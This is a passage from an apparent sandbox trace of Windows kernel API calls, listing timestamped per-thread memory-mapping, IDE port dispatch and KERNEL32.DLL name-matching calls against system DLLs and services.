BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b25000 [0081.042] IdePortDispatch () returned 0x103 [0081.043] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b36000 [0081.044] IdePortDispatch () returned 0x103 [0081.045] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b46000 [0081.045] IdePortDispatch () returned 0x103 [0081.046] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b56000 [0081.046] IdePortDispatch () returned 0x103 [0081.047] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b66000 [0081.048] IdePortDispatch () returned 0x103 [0081.049] IdePortDispatch () returned 0x103 [0081.049] IdePortDispatch () returned 0x103 [0081.050] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880027853f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7d000 [0081.050] IdePortDispatch () returned 0x103 [0081.050] IdePortDispatch () returned 0x103 [0081.051] IdePortDispatch () returned 0x103 [0081.051] IdePortDispatch () returned 0x103 [0081.076] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b65000 [0081.077] IdePortDispatch () returned 0x103 [0081.078] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b78000 [0081.078] IdePortDispatch () returned 0x103 [0081.092] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c31000 [0081.092] IdePortDispatch () returned 0x103 [0081.093] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c32000 [0081.093] IdePortDispatch () returned 0x103 [0081.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c42000 [0081.094] IdePortDispatch () returned 0x103 [0081.104] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f0000 [0081.104] IdePortDispatch () returned 0x103 [0081.106] IdePortDispatch () returned 0x103 [0081.106] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880027853f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0081.106] IdePortDispatch () returned 0x103 [0081.107] IdePortDispatch () returned 0x103 [0081.107] IdePortDispatch () returned 0x103 [0081.108] IdePortDispatch () returned 0x103 [0081.135] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0081.136] IdePortDispatch () returned 0x103 [0081.137] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003510000 [0081.137] IdePortDispatch () returned 0x103 [0081.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353f000 [0081.142] IdePortDispatch () returned 0x103 [0081.152] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffffa8000000000) returned 0xfffff880035a1000 [0081.152] IdePortDispatch () returned 0x103 [0081.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a2000 [0081.153] IdePortDispatch () returned 0x103 [0081.154] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b2000 [0081.154] IdePortDispatch () returned 0x103 [0081.155] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c2000 [0081.155] IdePortDispatch () returned 0x103 [0081.156] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d2000 [0081.156] IdePortDispatch () returned 0x103 [0081.157] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0081.157] IdePortDispatch () returned 0x103 [0081.158] IdePortDispatch () returned 0x103 [0081.158] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880027853f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b15000 [0081.158] IdePortDispatch () returned 0x103 [0081.158] IdePortDispatch () returned 0x103 [0081.159] IdePortDispatch () returned 0x103 [0081.159] IdePortDispatch () returned 0x103 [0081.211] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880027853f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d1000 [0081.211] IdePortDispatch () returned 0x103 [0081.223] IdePortDispatch () returned 0x103 [0081.223] IdePortDispatch () returned 0x103 [0081.224] IdePortDispatch () returned 0x103 [0081.224] IdePortDispatch () returned 0x103 Thread: id = 161 os_tid = 0x310 Thread: id = 162 os_tid = 0x314 [0078.314] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.314] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.315] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.315] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.456] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce8200 [0080.456] IdePortDispatch () returned 0x103 [0080.899] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c3c000 [0080.899] IdePortDispatch () returned 0x103 [0080.900] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.901] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.901] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.902] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0125.736] IdePortDispatch () returned 0x103 [0125.739] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cda800 [0125.739] IdePortDispatch () returned 0x103 Thread: id = 176 os_tid = 0x350 [0097.051] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.057] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.634] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\AudioSes.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.145] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\WinMgmtR.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0107.821] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8a000 [0107.821] IdePortDispatch () returned 0x103 [0107.853] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\WinMgmtR.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.228] IdePortDispatch () returned 0x103 [0109.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002e3a3f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c44000 [0109.229] IdePortDispatch () returned 0x103 [0109.330] IdePortDispatch () returned 0x103 [0109.417] IdePortDispatch () returned 0x103 [0109.488] IdePortDispatch () returned 0x103 [0113.806] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wbem\\WinMgmtR.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 177 os_tid = 0x354 Thread: id = 178 os_tid = 0x358 [0081.281] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\drivers\\fltMgr.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.287] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PSHED.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.317] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d51000 [0081.317] IdePortDispatch () returned 0x103 [0081.330] IdePortDispatch () returned 0x103 [0081.337] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028193f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350e000 [0081.337] IdePortDispatch () returned 0x103 [0081.339] IdePortDispatch () returned 0x103 [0081.339] IdePortDispatch () returned 0x103 [0081.343] IdePortDispatch () returned 0x103 [0081.346] IdePortDispatch () returned 0x103 [0081.420] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028193f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c2c000 [0081.420] IdePortDispatch () returned 0x103 [0081.420] IdePortDispatch () returned 0x103 [0081.422] IdePortDispatch () returned 0x103 [0081.424] IdePortDispatch () returned 0x103 [0081.430] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\microsoft-windows-kernel-processor-power-events.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.442] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\services.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.447] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\umpnpmgr.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.526] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ci.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.526] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da2000 [0086.526] IdePortDispatch () returned 0x103 [0086.549] IdePortDispatch () returned 0x103 [0086.549] IdePortDispatch () returned 0x103 [0086.551] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800230e970, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c8000 [0086.551] IdePortDispatch () returned 0x103 [0086.555] IdePortDispatch () returned 0x103 [0086.555] IdePortDispatch () returned 0x103 [0086.572] IdePortDispatch () returned 0x103 [0086.575] IdePortDispatch () returned 0x103 [0086.643] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gpsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.661] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d80000 [0086.661] IdePortDispatch () returned 0x103 [0086.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d8000 [0086.675] IdePortDispatch () returned 0x103 [0086.686] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cd000 [0086.686] IdePortDispatch () returned 0x103 [0086.688] IdePortDispatch () returned 0x103 [0086.688] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028193f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b57000 [0086.688] IdePortDispatch () returned 0x103 [0086.689] IdePortDispatch () returned 0x103 [0086.844] IdePortDispatch () returned 0x103 [0086.853] IdePortDispatch () returned 0x103 [0086.880] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028193f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880031c3000 [0086.880] IdePortDispatch () returned 0x103 [0086.880] IdePortDispatch () returned 0x103 [0086.881] IdePortDispatch () returned 0x103 [0086.893] IdePortDispatch () returned 0x103 [0089.157] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winlogon.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0091.773] IdePortDispatch () returned 0x103 [0091.774] IdePortDispatch () returned 0x103 [0092.231] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028193f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c48000 [0092.231] IdePortDispatch () returned 0x103 [0092.419] IdePortDispatch () returned 0x103 [0092.530] IdePortDispatch () returned 0x103 [0093.161] IdePortDispatch () returned 0x103 Thread: id = 180 os_tid = 0x35c [0086.583] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347f000 [0086.623] IdePortDispatch () returned 0x103 [0086.635] IdePortDispatch () returned 0x103 [0086.635] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028333f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358b000 [0086.635] IdePortDispatch () returned 0x103 [0086.636] IdePortDispatch () returned 0x103 [0086.636] IdePortDispatch () returned 0x103 [0086.636] IdePortDispatch () returned 0x103 [0086.858] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cscsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.869] IdePortDispatch () returned 0x103 [0086.869] IdePortDispatch () returned 0x103 [0086.870] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028333f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880031c1000 [0086.870] IdePortDispatch () returned 0x103 [0086.870] IdePortDispatch () returned 0x103 [0086.871] IdePortDispatch () returned 0x103 [0086.871] IdePortDispatch () returned 0x103 [0086.879] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028333f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880031c2000 [0086.879] IdePortDispatch () returned 0x103 [0086.879] IdePortDispatch () returned 0x103 [0086.880] IdePortDispatch () returned 0x103 [0086.880] IdePortDispatch () returned 0x103 [0089.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028333f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003470000 [0089.169] IdePortDispatch () returned 0x103 [0089.174] IdePortDispatch () returned 0x103 [0089.174] IdePortDispatch () returned 0x103 [0089.178] IdePortDispatch () returned 0x103 [0089.178] IdePortDispatch () returned 0x103 [0089.181] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lsm.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.204] IdePortDispatch () returned 0x103 [0089.205] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028333f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c8000 [0089.205] IdePortDispatch () returned 0x103 [0089.205] IdePortDispatch () returned 0x103 [0089.205] IdePortDispatch () returned 0x103 [0089.206] IdePortDispatch () returned 0x103 [0089.209] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028333f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0089.209] IdePortDispatch () returned 0x103 [0089.209] IdePortDispatch () returned 0x103 [0089.210] IdePortDispatch () returned 0x103 [0089.210] IdePortDispatch () returned 0x103 [0093.166] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cscsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.177] IdePortDispatch () returned 0x103 [0093.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028333f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003555000 [0093.178] IdePortDispatch () returned 0x103 [0093.178] IdePortDispatch () returned 0x103 [0093.179] IdePortDispatch () returned 0x103 [0093.179] IdePortDispatch () returned 0x103 [0093.179] IdePortDispatch () returned 0x103 [0093.182] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028333f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003578000 [0093.183] IdePortDispatch () returned 0x103 [0093.183] IdePortDispatch () returned 0x103 [0093.183] IdePortDispatch () returned 0x103 [0093.183] IdePortDispatch () returned 0x103 Thread: id = 181 os_tid = 0x360 [0081.350] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\adtschema.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.418] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800283a3f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c2b000 [0081.418] IdePortDispatch () returned 0x103 [0081.418] IdePortDispatch () returned 0x103 [0081.419] IdePortDispatch () returned 0x103 [0081.419] IdePortDispatch () returned 0x103 Thread: id = 202 os_tid = 0x3b8 [0081.930] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\audiosrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.930] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.931] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.931] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.931] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.932] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\MMDevAPI.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.933] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\propsys.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.933] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\avrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 203 os_tid = 0x3bc [0081.938] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.961] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\audiodg.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 204 os_tid = 0x3c0 Thread: id = 207 os_tid = 0x3d0 Thread: id = 209 os_tid = 0x3d8 Thread: id = 266 os_tid = 0x42c [0089.592] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lmhsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.594] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\IPHLPAPI.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.595] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winnsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.597] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nrpsrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 271 os_tid = 0x444 Thread: id = 273 os_tid = 0x450 [0089.873] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.880] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dnsapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.015] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FirewallAPI.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.015] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\version.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.026] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 279 os_tid = 0x468 Thread: id = 284 os_tid = 0x47c [0090.204] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.229] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 285 os_tid = 0x480 Thread: id = 346 os_tid = 0x594 Thread: id = 391 os_tid = 0x648 Thread: id = 396 os_tid = 0x658 Thread: id = 399 os_tid = 0x668 Thread: id = 400 os_tid = 0x66c Thread: id = 410 os_tid = 0x698 [0110.406] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netprofm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.440] IdePortDispatch () returned 0x103 [0110.442] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880029ca3f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cb000 [0110.442] IdePortDispatch () returned 0x103 [0110.442] IdePortDispatch () returned 0x103 [0110.443] IdePortDispatch () returned 0x103 [0110.463] IdePortDispatch () returned 0x103 [0110.464] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880029ca3f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034df000 [0110.464] IdePortDispatch () returned 0x103 [0110.464] IdePortDispatch () returned 0x103 [0110.465] IdePortDispatch () returned 0x103 [0110.487] IdePortDispatch () returned 0x103 [0110.487] IdePortDispatch () returned 0x103 [0116.126] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\MPSSVC.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880029ca3f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003462000 [0116.147] IdePortDispatch () returned 0x103 [0116.147] IdePortDispatch () returned 0x103 [0116.148] IdePortDispatch () returned 0x103 [0116.148] IdePortDispatch () returned 0x103 [0116.149] IdePortDispatch () returned 0x103 [0116.149] IdePortDispatch () returned 0x103 Thread: id = 412 os_tid = 0x6a0 Thread: id = 413 os_tid = 0x6a4 [0105.535] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\aeevts.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.069] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\radardt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.080] IdePortDispatch () returned 0x103 [0110.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028193f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dad000 [0110.147] IdePortDispatch () returned 0x103 [0110.148] IdePortDispatch () returned 0x103 [0110.157] IdePortDispatch () returned 0x103 [0110.398] IdePortDispatch () returned 0x103 [0110.443] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880028193f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 